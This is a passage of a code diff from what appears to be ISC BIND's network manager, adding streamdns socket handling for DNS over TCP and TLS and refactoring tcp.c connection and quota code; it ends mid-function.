+				  streamdns_transport_connected, nsock,
+				  nsock->connect_timeout);
+	} else {
+		isc_nm_tlsconnect(mgr, local, peer,
+				  streamdns_transport_connected, nsock, ctx,
+				  client_sess_cache, nsock->connect_timeout);
+	}
+}
+
+bool
+isc__nmsocket_streamdns_timer_running(isc_nmsocket_t *sock) {
+	isc_nmsocket_t *transp_sock;
+
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(sock->type == isc_nm_streamdnssocket);
+
+	if (sock->outerhandle == NULL) {
+		return (false);
+	}
+
+	INSIST(VALID_NMHANDLE(sock->outerhandle));
+	transp_sock = sock->outerhandle->sock;
+	INSIST(VALID_NMSOCK(transp_sock));
+
+	return (isc__nmsocket_timer_running(transp_sock));
+}
+
+void
+isc__nmsocket_streamdns_timer_stop(isc_nmsocket_t *sock) {
+	isc_nmsocket_t *transp_sock;
+
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(sock->type == isc_nm_streamdnssocket);
+
+	if (sock->outerhandle == NULL) {
+		return;
+	}
+
+	INSIST(VALID_NMHANDLE(sock->outerhandle));
+	transp_sock = sock->outerhandle->sock;
+	INSIST(VALID_NMSOCK(transp_sock));
+
+	isc__nmsocket_timer_stop(transp_sock);
+}
+
+void
+isc__nmsocket_streamdns_timer_restart(isc_nmsocket_t *sock) {
+	isc_nmsocket_t *transp_sock;
+
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(sock->type == isc_nm_streamdnssocket);
+
+	if (sock->outerhandle == NULL) {
+		return;
+	}
+
+	INSIST(VALID_NMHANDLE(sock->outerhandle));
+	transp_sock = sock->outerhandle->sock;
+	INSIST(VALID_NMSOCK(transp_sock));
+
+	isc__nmsocket_timer_restart(transp_sock);
+}
+
+static void
+streamdns_failed_read_cb(isc_nmsocket_t *sock, const isc_result_t result,
+			 const bool async) {
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(result != ISC_R_SUCCESS);
+
+	/* Nobody is reading from the socket yet */
+	if (sock->recv_handle == NULL) {
+		goto destroy;
+	}
+
+	if (sock->client && result == ISC_R_TIMEDOUT) {
+		if (sock->recv_cb != NULL) {
+			isc__nm_uvreq_t *req = isc__nm_get_read_req(sock, NULL);
+			isc__nm_readcb(sock, req, ISC_R_TIMEDOUT, false);
+		}
+
+		if (isc__nmsocket_timer_running(sock)) {
+			/* Timer was restarted, bail-out */
+			return;
+		}
+
+		isc__nmsocket_clearcb(sock);
+
+		goto destroy;
+	}
+
+	isc_dnsstream_assembler_clear(sock->streamdns.input);
+
+	/* Nobody expects the callback if isc_nm_read() wasn't called */
+	if (!sock->client || sock->reading) {
+		sock->reading = false;
+
+		if (sock->recv_cb != NULL) {
+			isc__nm_uvreq_t *req = isc__nm_get_read_req(sock, NULL);
+			isc__nmsocket_clearcb(sock);
+			isc__nm_readcb(sock, req, result, async);
+		}
+	}
+
+destroy:
+	isc__nmsocket_prep_destroy(sock);
+}
+
+void
+isc__nm_streamdns_failed_read_cb(isc_nmsocket_t *sock, isc_result_t result,
+				 const bool async) {
+	REQUIRE(result != ISC_R_SUCCESS);
+	REQUIRE(sock->type == isc_nm_streamdnssocket);
+	sock->streamdns.reading = false;
+	streamdns_failed_read_cb(sock, result, async);
+}
+
+static void
+streamdns_readcb(isc_nmhandle_t *handle, isc_result_t result,
+		 isc_region_t *region, void *cbarg) {
+	isc_nmsocket_t *sock = (isc_nmsocket_t *)cbarg;
+
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(sock->tid == isc_tid());
+
+	if (result != ISC_R_SUCCESS) {
+		streamdns_failed_read_cb(sock, result, false);
+		return;
+	} else if (streamdns_closing(sock)) {
+		streamdns_failed_read_cb(sock, ISC_R_CANCELED, false);
+		return;
+	}
+
+	streamdns_handle_incoming_data(sock, handle, region->base,
+				       region->length);
+}
+
+static void
+streamdns_try_close_unused(isc_nmsocket_t *sock) {
+	if (sock->recv_handle == NULL && sock->streamdns.nsending == 0) {
+		/*
+		 * The socket is unused after calling the callback. Let's close
+		 * the underlying connection.
+		 */
+		/* FIXME: call failed_read_cb(?) */
+		if (sock->outerhandle != NULL) {
+			isc_nmhandle_detach(&sock->outerhandle);
+		}
+		isc__nmsocket_prep_destroy(sock);
+	}
+}
+
+static streamdns_send_req_t *
+streamdns_get_send_req(isc_nmsocket_t *sock, isc_mem_t *mctx,
+		       isc__nm_uvreq_t *req) {
+	streamdns_send_req_t *send_req;
+
+	if (sock->streamdns.send_req != NULL) {
+		/*
+		 * We have a previously allocated object - let's use that.
+		 * That should help reducing stress on the memory allocator.
+		 */
+		send_req = (streamdns_send_req_t *)sock->streamdns.send_req;
+		sock->streamdns.send_req = NULL;
+	} else {
+		/* Allocate a new object. */
+		send_req = isc_mem_get(mctx, sizeof(*send_req));
+		*send_req = (streamdns_send_req_t){ 0 };
+	}
+
+	/* Initialise the send request object */
+	send_req->cb = req->cb.send;
+	send_req->cbarg = req->cbarg;
+	isc_nmhandle_attach(req->handle, &send_req->dnshandle);
+
+	sock->streamdns.nsending++;
+
+	return (send_req);
+}
+
+static void
+streamdns_put_send_req(isc_mem_t *mctx, streamdns_send_req_t *send_req,
+		       const bool force_destroy) {
+	/*
+	 * Attempt to put the object for reuse later if we are not
+	 * wrapping up.
+	 */
+	if (!force_destroy) {
+		isc_nmsocket_t *sock = send_req->dnshandle->sock;
+		sock->streamdns.nsending--;
+		isc_nmhandle_detach(&send_req->dnshandle);
+		if (sock->streamdns.send_req == NULL) {
+			sock->streamdns.send_req = send_req;
+			/*
+			 * An object has been recycled,
+			 * if not - we are going to destroy it.
+			 */
+			return;
+		}
+	}
+
+	isc_mem_put(mctx, send_req, sizeof(*send_req));
+}
+
+static void
+streamdns_writecb(isc_nmhandle_t *handle, isc_result_t result, void *cbarg) {
+	streamdns_send_req_t *send_req = (streamdns_send_req_t *)cbarg;
+	isc_mem_t *mctx;
+	isc_nm_cb_t cb;
+	void *send_cbarg;
+	isc_nmhandle_t *dnshandle = NULL;
+
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMHANDLE(send_req->dnshandle));
+	REQUIRE(VALID_NMSOCK(send_req->dnshandle->sock));
+	REQUIRE(send_req->dnshandle->sock->tid == isc_tid());
+
+	mctx = send_req->dnshandle->sock->worker->mctx;
+	cb = send_req->cb;
+	send_cbarg = send_req->cbarg;
+
+	isc_nmhandle_attach(send_req->dnshandle, &dnshandle);
+	/* try to keep the send request object for reuse */
+	streamdns_put_send_req(mctx, send_req, false);
+	cb(dnshandle, result, send_cbarg);
+	streamdns_try_close_unused(dnshandle->sock);
+	isc_nmhandle_detach(&dnshandle);
+}
+
+static bool
+streamdns_closing(isc_nmsocket_t *sock) {
+	return (isc__nmsocket_closing(sock) || isc__nm_closing(sock->worker) ||
+		sock->outerhandle == NULL ||
+		(sock->outerhandle != NULL &&
+		 isc__nmsocket_closing(sock->outerhandle->sock)));
+}
+
+static void
+streamdns_resume_processing(void *arg) {
+	isc_nmsocket_t *sock = (isc_nmsocket_t *)arg;
+
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(sock->tid == isc_tid());
+	REQUIRE(!sock->client);
+
+	if (streamdns_closing(sock)) {
+		return;
+	}
+
+	streamdns_handle_incoming_data(sock, sock->outerhandle, NULL, 0);
+}
+
+static isc_result_t
+streamdns_accept_cb(isc_nmhandle_t *handle, isc_result_t result, void *cbarg) {
+	isc_nmsocket_t *listensock = (isc_nmsocket_t *)cbarg;
+	isc_nmsocket_t *nsock;
+	isc_sockaddr_t iface;
+	int tid = isc_tid();
+	uint32_t initial = 0;
+
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+
+	if (isc__nm_closing(handle->sock->worker)) {
+		return (ISC_R_SHUTTINGDOWN);
+	} else if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+
+	REQUIRE(VALID_NMSOCK(listensock));
+	REQUIRE(listensock->type == isc_nm_streamdnslistener);
+
+	iface = isc_nmhandle_localaddr(handle);
+	nsock = streamdns_sock_new(handle->sock->worker, isc_nm_streamdnssocket,
+				   &iface, true);
+	nsock->recv_cb = listensock->recv_cb;
+	nsock->recv_cbarg = listensock->recv_cbarg;
+
+	nsock->peer = isc_nmhandle_peeraddr(handle);
+	nsock->tid = tid;
+	isc_nm_gettimeouts(handle->sock->worker->netmgr, &initial, NULL, NULL,
+			   NULL);
+	nsock->read_timeout = initial;
+	nsock->accepting = true;
+	nsock->active = true;
+
+	isc__nmsocket_attach(handle->sock, &nsock->listener);
+	isc_nmhandle_attach(handle, &nsock->outerhandle);
+	handle->sock->streamdns.sock = nsock;
+
+	streamdns_save_alpn_status(nsock, handle);
+
+	nsock->recv_handle = isc__nmhandle_get(nsock, NULL, &iface);
+	INSIST(listensock->accept_cb != NULL);
+	result = listensock->accept_cb(nsock->recv_handle, result,
+				       listensock->accept_cbarg);
+	if (result != ISC_R_SUCCESS) {
+		isc_nmhandle_detach(&nsock->recv_handle);
+		isc__nmsocket_detach(&nsock->listener);
+		isc_nmhandle_detach(&nsock->outerhandle);
+		nsock->closed = true;
+		goto exit;
+	}
+
+	nsock->closehandle_cb = streamdns_resume_processing;
+	isc__nmhandle_set_manual_timer(nsock->outerhandle, true);
+	isc_nm_gettimeouts(nsock->worker->netmgr, &initial, NULL, NULL, NULL);
+	/* settimeout restarts the timer */
+	isc_nmhandle_settimeout(nsock->outerhandle, initial);
+	(void)isc_nmhandle_set_tcp_nodelay(nsock->outerhandle, true);
+	streamdns_handle_incoming_data(nsock, nsock->outerhandle, NULL, 0);
+
+exit:
+	nsock->accepting = false;
+
+	return (result);
+}
+
+isc_result_t
+isc_nm_listenstreamdns(isc_nm_t *mgr, uint32_t workers, isc_sockaddr_t *iface,
+		       isc_nm_recv_cb_t recv_cb, void *recv_cbarg,
+		       isc_nm_accept_cb_t accept_cb, void *accept_cbarg,
+		       int backlog, isc_quota_t *quota, isc_tlsctx_t *tlsctx,
+		       isc_nmsocket_t **sockp) {
+	isc_result_t result;
+	isc_nmsocket_t *listener = NULL;
+	isc__networker_t *worker = &mgr->workers[isc_tid()];
+
+	REQUIRE(VALID_NM(mgr));
+	REQUIRE(isc_tid() == 0);
+
+	if (isc__nm_closing(worker)) {
+		return (ISC_R_SHUTTINGDOWN);
+	}
+
+	listener = streamdns_sock_new(worker, isc_nm_streamdnslistener, iface,
+				      true);
+	listener->accept_cb = accept_cb;
+	listener->accept_cbarg = accept_cbarg;
+	listener->recv_cb = recv_cb;
+	listener->recv_cbarg = recv_cbarg;
+
+	if (tlsctx == NULL) {
+		result = isc_nm_listentcp(mgr, workers, iface,
+					  streamdns_accept_cb, listener,
+					  backlog, quota, &listener->outer);
+	} else {
+		result = isc_nm_listentls(
+			mgr, workers, iface, streamdns_accept_cb, listener,
+			backlog, quota, tlsctx, &listener->outer);
+	}
+	if (result != ISC_R_SUCCESS) {
+		listener->closed = true;
+		isc__nmsocket_detach(&listener);
+		return (result);
+	}
+
+	/* copy the actual port we're listening on into sock->iface */
+	if (isc_sockaddr_getport(iface) == 0) {
+		listener->iface = listener->outer->iface;
+	}
+
+	listener->result = result;
+	listener->active = true;
+	INSIST(listener->outer->streamdns.listener == NULL);
+	listener->nchildren = listener->outer->nchildren;
+	isc__nmsocket_attach(listener, &listener->outer->streamdns.listener);
+
+	*sockp = listener;
+
+	return (result);
+}
+
+void
+isc__nm_streamdns_cleanup_data(isc_nmsocket_t *sock) {
+	switch (sock->type) {
+	case isc_nm_streamdnssocket:
+		isc_dnsstream_assembler_free(&sock->streamdns.input);
+		INSIST(sock->streamdns.nsending == 0);
+		if (sock->streamdns.send_req != NULL) {
+			isc_mem_t *mctx = sock->worker->mctx;
+			streamdns_put_send_req(mctx,
+					       (streamdns_send_req_t *)
+						       sock->streamdns.send_req,
+					       true);
+		}
+		break;
+	case isc_nm_streamdnslistener:
+		if (sock->outer) {
+			isc__nmsocket_detach(&sock->outer);
+		}
+		break;
+	case isc_nm_tlslistener:
+	case isc_nm_tcplistener:
+		if (sock->streamdns.listener != NULL) {
+			isc__nmsocket_detach(&sock->streamdns.listener);
+		}
+		break;
+	case isc_nm_tlssocket:
+	case isc_nm_tcpsocket:
+		if (sock->streamdns.sock != NULL) {
+			isc__nmsocket_detach(&sock->streamdns.sock);
+		}
+		break;
+	default:
+		return;
+	}
+}
+
+static void
+streamdns_read_cb(void *arg) {
+	isc_nmsocket_t *sock = arg;
+
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(sock->tid == isc_tid());
+
+	if (streamdns_closing(sock)) {
+		streamdns_failed_read_cb(sock, ISC_R_CANCELED, false);
+		goto detach;
+	}
+
+	if (sock->streamdns.reading) {
+		goto detach;
+	}
+
+	INSIST(VALID_NMHANDLE(sock->outerhandle));
+	streamdns_handle_incoming_data(sock, sock->outerhandle, NULL, 0);
+detach:
+	isc__nmsocket_detach(&sock);
+}
+
+void
+isc__nm_streamdns_read(isc_nmhandle_t *handle, isc_nm_recv_cb_t cb,
+		       void *cbarg) {
+	isc_nmsocket_t *sock = NULL;
+	bool closing = false;
+
+	REQUIRE(VALID_NMHANDLE(handle));
+	sock = handle->sock;
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(sock->type == isc_nm_streamdnssocket);
+	REQUIRE(sock->recv_handle == handle || sock->recv_handle == NULL);
+	REQUIRE(sock->tid == isc_tid());
+
+	closing = streamdns_closing(sock);
+
+	sock->recv_cb = cb;
+	sock->recv_cbarg = cbarg;
+	sock->reading = true;
+	if (sock->recv_handle == NULL) {
+		isc_nmhandle_attach(handle, &sock->recv_handle);
+	}
+
+	/*
+	 * In some cases there is little sense in making the operation
+	 * asynchronous as we just want to start reading from the
+	 * underlying transport.
+	 */
+	if (!closing && isc_dnsstream_assembler_result(sock->streamdns.input) ==
+				ISC_R_UNSET)
+	{
+		isc__nmsocket_attach(sock, &(isc_nmsocket_t *){ NULL });
+		streamdns_read_cb(sock);
+		return;
+	}
+
+	/*
+	 * We want the read operation to be asynchronous in most cases
+	 * because:
+	 *
+	 * 1. A read operation might be initiated from within the read
+	 *    callback itself.
+	 *
+	 * 2. Due to the above, we need to make the operation
+	 *    asynchronous to keep the socket state consistent.
+	 */
+
+	isc__nmsocket_attach(sock, &(isc_nmsocket_t *){ NULL });
+	isc_job_run(sock->worker->loop, &sock->job, streamdns_read_cb, sock);
+}
+
+void
+isc__nm_streamdns_send(isc_nmhandle_t *handle, const isc_region_t *region,
+		       isc_nm_cb_t cb, void *cbarg) {
+	isc__nm_uvreq_t *uvreq = NULL;
+	isc_nmsocket_t *sock = NULL;
+	streamdns_send_req_t *send_req;
+	isc_mem_t *mctx;
+	isc_region_t data = { 0 };
+
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+	REQUIRE(region->length <= UINT16_MAX);
+
+	sock = handle->sock;
+
+	REQUIRE(sock->type == isc_nm_streamdnssocket);
+	REQUIRE(sock->tid == isc_tid());
+
+	uvreq = isc__nm_uvreq_get(sock);
+	isc_nmhandle_attach(handle, &uvreq->handle);
+	uvreq->cb.send = cb;
+	uvreq->cbarg = cbarg;
+	uvreq->uvbuf.base = (char *)region->base;
+	uvreq->uvbuf.len = region->length;
+
+	if (streamdns_closing(sock)) {
+		isc__nm_failed_send_cb(sock, uvreq, ISC_R_CANCELED, true);
+		return;
+	}
+
+	/*
+	 * As when sending, we, basically, handing data to the underlying
+	 * transport, we can treat the operation synchronously, as the
+	 * transport code will take care of the asynchronicity if required.
+	 */
+	mctx = sock->worker->mctx;
+	send_req = streamdns_get_send_req(sock, mctx, uvreq);
+	data.base = (unsigned char *)uvreq->uvbuf.base;
+	data.length = uvreq->uvbuf.len;
+	isc__nm_senddns(sock->outerhandle, &data, streamdns_writecb,
+			(void *)send_req);
+
+	isc__nm_uvreq_put(&uvreq);
+}
+
+static void
+streamdns_close_direct(isc_nmsocket_t *sock) {
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(sock->tid == isc_tid());
+
+	if (sock->outerhandle != NULL) {
+		sock->streamdns.reading = false;
+		isc_nm_read_stop(sock->outerhandle);
+		isc_nmhandle_close(sock->outerhandle);
+		isc_nmhandle_detach(&sock->outerhandle);
+	}
+
+	if (sock->listener != NULL) {
+		isc__nmsocket_detach(&sock->listener);
+	}
+
+	if (sock->recv_handle != NULL) {
+		isc_nmhandle_detach(&sock->recv_handle);
+	}
+
+	/* Further cleanup performed in isc__nm_streamdns_cleanup_data() */
+	isc_dnsstream_assembler_clear(sock->streamdns.input);
+	sock->closed = true;
+	sock->active = false;
+}
+
+void
+isc__nm_streamdns_close(isc_nmsocket_t *sock) {
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(sock->type == isc_nm_streamdnssocket);
+	REQUIRE(sock->tid == isc_tid());
+	REQUIRE(!sock->closing);
+
+	sock->closing = true;
+
+	streamdns_close_direct(sock);
+}
+
+void
+isc__nm_streamdns_stoplistening(isc_nmsocket_t *sock) {
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(sock->type == isc_nm_streamdnslistener);
+
+	isc__nmsocket_stop(sock);
+}
+
+void
+isc__nmhandle_streamdns_cleartimeout(isc_nmhandle_t *handle) {
+	isc_nmsocket_t *sock = NULL;
+
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+	REQUIRE(handle->sock->type == isc_nm_streamdnssocket);
+
+	sock = handle->sock;
+	if (sock->outerhandle != NULL) {
+		INSIST(VALID_NMHANDLE(sock->outerhandle));
+		isc_nmhandle_cleartimeout(sock->outerhandle);
+	}
+}
+
+void
+isc__nmhandle_streamdns_settimeout(isc_nmhandle_t *handle, uint32_t timeout) {
+	isc_nmsocket_t *sock = NULL;
+
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+	REQUIRE(handle->sock->type == isc_nm_streamdnssocket);
+
+	sock = handle->sock;
+	if (sock->outerhandle != NULL) {
+		INSIST(VALID_NMHANDLE(sock->outerhandle));
+		isc_nmhandle_settimeout(sock->outerhandle, timeout);
+	}
+}
+
+void
+isc__nmhandle_streamdns_keepalive(isc_nmhandle_t *handle, bool value) {
+	isc_nmsocket_t *sock = NULL;
+
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+	REQUIRE(handle->sock->type == isc_nm_streamdnssocket);
+
+	sock = handle->sock;
+	if (sock->outerhandle != NULL) {
+		INSIST(VALID_NMHANDLE(sock->outerhandle));
+		isc_nmhandle_keepalive(sock->outerhandle, value);
+	}
+}
+
+void
+isc__nmhandle_streamdns_setwritetimeout(isc_nmhandle_t *handle,
+					uint32_t timeout) {
+	isc_nmsocket_t *sock = NULL;
+
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+	REQUIRE(handle->sock->type == isc_nm_streamdnssocket);
+
+	sock = handle->sock;
+	if (sock->outerhandle != NULL) {
+		INSIST(VALID_NMHANDLE(sock->outerhandle));
+		isc_nmhandle_setwritetimeout(sock->outerhandle, timeout);
+	}
+}
+
+bool
+isc__nm_streamdns_has_encryption(const isc_nmhandle_t *handle) {
+	isc_nmsocket_t *sock = NULL;
+
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+	REQUIRE(handle->sock->type == isc_nm_streamdnssocket);
+
+	sock = handle->sock;
+	if (sock->outerhandle != NULL) {
+		INSIST(VALID_NMHANDLE(sock->outerhandle));
+		return (isc_nm_has_encryption(sock->outerhandle));
+	}
+
+	return (false);
+}
+
+const char *
+isc__nm_streamdns_verify_tls_peer_result_string(const isc_nmhandle_t *handle) {
+	isc_nmsocket_t *sock = NULL;
+
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+	REQUIRE(handle->sock->type == isc_nm_streamdnssocket);
+
+	sock = handle->sock;
+	if (sock->outerhandle != NULL) {
+		INSIST(VALID_NMHANDLE(sock->outerhandle));
+		return (isc_nm_verify_tls_peer_result_string(
+			sock->outerhandle));
+	} else if (sock->streamdns.tls_verify_error != NULL) {
+		return (sock->streamdns.tls_verify_error);
+	}
+
+	return (NULL);
+}
+
+void
+isc__nm_streamdns_set_tlsctx(isc_nmsocket_t *listener, isc_tlsctx_t *tlsctx) {
+	REQUIRE(VALID_NMSOCK(listener));
+	REQUIRE(listener->type == isc_nm_streamdnslistener);
+
+	if (listener->outer != NULL) {
+		INSIST(VALID_NMSOCK(listener->outer));
+		isc_nmsocket_set_tlsctx(listener->outer, tlsctx);
+	}
+}
+
+isc_result_t
+isc__nm_streamdns_xfr_checkperm(isc_nmsocket_t *sock) {
+	isc_result_t result = ISC_R_NOPERM;
+
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(sock->type == isc_nm_streamdnssocket);
+
+	if (sock->outerhandle != NULL) {
+		if (isc_nm_has_encryption(sock->outerhandle) &&
+		    !sock->streamdns.dot_alpn_negotiated)
+		{
+			result = ISC_R_DOTALPNERROR;
+		} else {
+			result = ISC_R_SUCCESS;
+		}
+	}
+
+	return (result);
+}
+
+void
+isc__nmsocket_streamdns_reset(isc_nmsocket_t *sock) {
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(sock->type == isc_nm_streamdnssocket);
+
+	if (sock->outerhandle == NULL) {
+		return;
+	}
+
+	INSIST(VALID_NMHANDLE(sock->outerhandle));
+	isc__nmsocket_reset(sock->outerhandle->sock);
+}
diff --git a/lib/isc/netmgr/tcp.c b/lib/isc/netmgr/tcp.c
index 382a8360c9..db07202b80 100644
--- a/lib/isc/netmgr/tcp.c
+++ b/lib/isc/netmgr/tcp.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,8 +13,8 @@
 
 #include <libgen.h>
 #include <unistd.h>
-#include <uv.h>
 
+#include <isc/async.h>
 #include <isc/atomic.h>
 #include <isc/barrier.h>
 #include <isc/buffer.h>
@@ -31,17 +33,17 @@
 #include <isc/stdtime.h>
 #include <isc/thread.h>
 #include <isc/util.h>
+#include <isc/uv.h>
 
+#include "../loop_p.h"
 #include "netmgr-int.h"
-#include "uv-compat.h"
 
-static atomic_uint_fast32_t last_tcpquota_log = ATOMIC_VAR_INIT(0);
+static atomic_uint_fast32_t last_tcpquota_log = 0;
 
 static bool
 can_log_tcp_quota(void) {
-	isc_stdtime_t now, last;
-
-	isc_stdtime_get(&now);
+	isc_stdtime_t last;
+	isc_stdtime_t now = isc_stdtime_now();
 	last = atomic_exchange_relaxed(&last_tcpquota_log, now);
 	if (now != last) {
 		return (true);
@@ -53,13 +55,12 @@ can_log_tcp_quota(void) {
 static isc_result_t
 tcp_connect_direct(isc_nmsocket_t *sock, isc__nm_uvreq_t *req);
 
-static void
-tcp_close_direct(isc_nmsocket_t *sock);
-
 static isc_result_t
 tcp_send_direct(isc_nmsocket_t *sock, isc__nm_uvreq_t *req);
 static void
 tcp_connect_cb(uv_connect_t *uvreq, int status);
+static void
+tcp_stop_cb(uv_handle_t *handle);
 
 static void
 tcp_connection_cb(uv_stream_t *server, int status);
@@ -68,51 +69,10 @@ static void
 tcp_close_cb(uv_handle_t *uvhandle);
 
 static isc_result_t
-accept_connection(isc_nmsocket_t *ssock, isc_quota_t *quota);
+accept_connection(isc_nmsocket_t *ssock);
 
 static void
-quota_accept_cb(isc_quota_t *quota, void *sock0);
-
-static void
-failed_accept_cb(isc_nmsocket_t *sock, isc_result_t eresult);
-
-static void
-failed_send_cb(isc_nmsocket_t *sock, isc__nm_uvreq_t *req,
-	       isc_result_t eresult);
-static void
-stop_tcp_parent(isc_nmsocket_t *sock);
-static void
-stop_tcp_child(isc_nmsocket_t *sock);
-
-static void
-failed_accept_cb(isc_nmsocket_t *sock, isc_result_t eresult) {
-	REQUIRE(sock->accepting);
-	REQUIRE(sock->server);
-
-	/*
-	 * Detach the quota early to make room for other connections;
-	 * otherwise it'd be detached later asynchronously, and clog
-	 * the quota unnecessarily.
-	 */
-	if (sock->quota != NULL) {
-		isc_quota_detach(&sock->quota);
-	}
-
-	isc__nmsocket_detach(&sock->server);
-
-	sock->accepting = false;
-
-	switch (eresult) {
-	case ISC_R_NOTCONNECTED:
-		/* IGNORE: The client disconnected before we could accept */
-		break;
-	default:
-		isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-			      ISC_LOGMODULE_NETMGR, ISC_LOG_ERROR,
-			      "Accepting TCP connection failed: %s",
-			      isc_result_totext(eresult));
-	}
-}
+quota_accept_cb(void *arg);
 
 static isc_result_t
 tcp_connect_direct(isc_nmsocket_t *sock, isc__nm_uvreq_t *req) {
@@ -123,154 +83,127 @@ tcp_connect_direct(isc_nmsocket_t *sock, isc__nm_uvreq_t *req) {
 	REQUIRE(VALID_NMSOCK(sock));
 	REQUIRE(VALID_UVREQ(req));
 
-	REQUIRE(isc__nm_in_netthread());
-	REQUIRE(sock->tid == isc_nm_tid());
+	REQUIRE(sock->tid == isc_tid());
 
-	worker = &sock->mgr->workers[sock->tid];
+	worker = sock->worker;
 
-	atomic_store(&sock->connecting, true);
+	sock->connecting = true;
 
 	/* 2 minute timeout */
 	result = isc__nm_socket_connectiontimeout(sock->fd, 120 * 1000);
 	RUNTIME_CHECK(result == ISC_R_SUCCESS);
 
-	r = uv_tcp_init(&worker->loop, &sock->uv_handle.tcp);
-	RUNTIME_CHECK(r == 0);
+	r = uv_tcp_init(&worker->loop->loop, &sock->uv_handle.tcp);
+	UV_RUNTIME_CHECK(uv_tcp_init, r);
 	uv_handle_set_data(&sock->uv_handle.handle, sock);
 
-	r = uv_timer_init(&worker->loop, &sock->timer);
-	RUNTIME_CHECK(r == 0);
+	r = uv_timer_init(&worker->loop->loop, &sock->read_timer);
+	UV_RUNTIME_CHECK(uv_timer_init, r);
+	uv_handle_set_data((uv_handle_t *)&sock->read_timer, sock);
 
 	r = uv_tcp_open(&sock->uv_handle.tcp, sock->fd);
 	if (r != 0) {
 		isc__nm_closesocket(sock->fd);
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_OPENFAIL]);
-		goto done;
+		isc__nm_incstats(sock, STATID_OPENFAIL);
+		return (isc_uverr2result(r));
 	}
-	isc__nm_incstats(sock->mgr, sock->statsindex[STATID_OPEN]);
+	isc__nm_incstats(sock, STATID_OPEN);
 
 	if (req->local.length != 0) {
 		r = uv_tcp_bind(&sock->uv_handle.tcp, &req->local.type.sa, 0);
 		if (r != 0) {
-			isc__nm_incstats(sock->mgr,
-					 sock->statsindex[STATID_BINDFAIL]);
-			goto done;
+			isc__nm_incstats(sock, STATID_BINDFAIL);
+			return (isc_uverr2result(r));
 		}
 	}
 
-	isc__nm_set_network_buffers(sock->mgr, &sock->uv_handle.handle);
+	isc__nm_set_network_buffers(sock->worker->netmgr,
+				    &sock->uv_handle.handle);
 
 	uv_handle_set_data(&req->uv_req.handle, req);
 	r = uv_tcp_connect(&req->uv_req.connect, &sock->uv_handle.tcp,
 			   &req->peer.type.sa, tcp_connect_cb);
 	if (r != 0) {
-		isc__nm_incstats(sock->mgr,
-				 sock->statsindex[STATID_CONNECTFAIL]);
-		goto done;
+		isc__nm_incstats(sock, STATID_CONNECTFAIL);
+		return (isc_uverr2result(r));
 	}
-	isc__nm_incstats(sock->mgr, sock->statsindex[STATID_CONNECT]);
 
-	uv_handle_set_data((uv_handle_t *)&sock->timer, &req->uv_req.connect);
+	uv_handle_set_data((uv_handle_t *)&sock->read_timer,
+			   &req->uv_req.connect);
 	isc__nmsocket_timer_start(sock);
 
-	atomic_store(&sock->connected, true);
-
-done:
-	result = isc__nm_uverr2result(r);
-	LOCK(&sock->lock);
-	sock->result = result;
-	SIGNAL(&sock->cond);
-	if (!atomic_load(&sock->active)) {
-		WAIT(&sock->scond, &sock->lock);
-	}
-	INSIST(atomic_load(&sock->active));
-	UNLOCK(&sock->lock);
-
-	return (result);
-}
-
-void
-isc__nm_async_tcpconnect(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tcpconnect_t *ievent =
-		(isc__netievent_tcpconnect_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-	isc__nm_uvreq_t *req = ievent->req;
-	isc_result_t result = ISC_R_SUCCESS;
-
-	UNUSED(worker);
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->type == isc_nm_tcpsocket);
-	REQUIRE(sock->parent == NULL);
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	result = tcp_connect_direct(sock, req);
-	if (result != ISC_R_SUCCESS) {
-		atomic_store(&sock->active, false);
-		if (sock->fd != (uv_os_sock_t)(-1)) {
-			isc__nm_tcp_close(sock);
-		}
-		isc__nm_connectcb(sock, req, result, true);
-	}
-
-	/*
-	 * The sock is now attached to the handle.
-	 */
-	isc__nmsocket_detach(&sock);
+	return (ISC_R_SUCCESS);
 }
 
 static void
 tcp_connect_cb(uv_connect_t *uvreq, int status) {
-	isc_result_t result;
+	isc_result_t result = ISC_R_UNSET;
 	isc__nm_uvreq_t *req = NULL;
 	isc_nmsocket_t *sock = uv_handle_get_data((uv_handle_t *)uvreq->handle);
 	struct sockaddr_storage ss;
+	isc__networker_t *worker = NULL;
 	int r;
 
 	REQUIRE(VALID_NMSOCK(sock));
